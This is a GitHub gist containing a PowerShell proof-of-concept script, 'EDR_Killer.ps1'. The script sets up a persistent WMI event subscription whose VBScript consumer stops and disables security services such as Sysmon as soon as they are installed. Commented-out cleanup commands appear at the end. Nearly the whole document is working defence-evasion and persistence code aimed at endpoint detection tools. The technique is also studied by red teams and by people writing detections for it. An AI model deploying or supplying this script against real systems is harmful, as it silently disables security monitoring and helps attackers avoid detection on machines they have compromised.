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@mgreen27
Last active October 18, 2021 16:12
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WMI EventConsumer to disable EDR (or other tools) tools when installed
# PowerShell 2.0
# Name: EDR_Killer.ps1
# Version: 1.0
# Author: @mgreen27
# Description: Powershell WMI Event Consumer Proof of Concept to disable EDR tools when installed.
# Original Template (Eventlog Consumer) attributed to @mattifestation: https://gist.github.com/mattifestation/aff0cb8bf66c7f6ef44a
# Set Variables
$Name = 'EDR_Killer'
$Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA "Win32_Service" AND (TargetInstance.Name = "Sysmon" OR TargetInstance.Name = "Service name 2" OR TargetInstance.Name = "Service Name ..." OR TargetInstance.Name = "Service name N")'
$Class = 'ActiveScriptEventConsumer'
$Namespace = 'root/subscription'
# Define the signature - i.e. __EventFilter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $Name
Query = $Query
QueryLanguage = 'WQL'
}
$InstanceArgs = @{
Namespace = $Namespace
Class = '__EventFilter'
Arguments = $EventFilterArgs
}
$Filter = Set-WmiInstance @InstanceArgs
# Define the Event Consumer - ACTION
$EventConsumerArgs = @{
Name = $Name
ScriptingEngine = 'VBScript'
ScriptText = '
Dim objWMIService, strQuery, colServiceList, objService, strServiceName
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\localhost\root\cimv2")
strServiceName = TargetEvent.TargetInstance.Name
strQuery = "Select * from Win32_Service where name = " & Chr(34) & strServiceName & Chr(34)
Set colServiceList = objWMIService.ExecQuery(strQuery)
For Each objService in colServiceList
If objService.State <> "Stopped" Then
objService.StopService()
End If
If objService.StartMode <> "Disabled" Then
objService.ChangeStartMode("Disabled")
End If
Next
'
}
$InstanceArgs = @{
Namespace = $Namespace
Class = $Class
Arguments = $EventConsumerArgs
}
$Consumer = Set-WmiInstance @InstanceArgs
$FilterConsumerBingingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$InstanceArgs = @{
Namespace = $Namespace
Class = '__FilterToConsumerBinding'
Arguments = $FilterConsumerBingingArgs
}
# Register the alert
$Binding = Set-WmiInstance @InstanceArgs
<# Remove EventConsumer
Get-WmiObject -Namespace 'root/subscription' -Class '__EventFilter' | where-object {$_.Name -like "EDR_Killer*"} | Remove-WmiObject
Get-WmiObject -Namespace 'root/subscription' -Class 'ActiveScriptEventConsumer' | where-object {$_.Name -like "EDR_Killer"} | Remove-WmiObject
Get-WmiObject -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' | where-object {$_.Filter -like "*EDR_Killer*"} | Remove-WmiObject
#>
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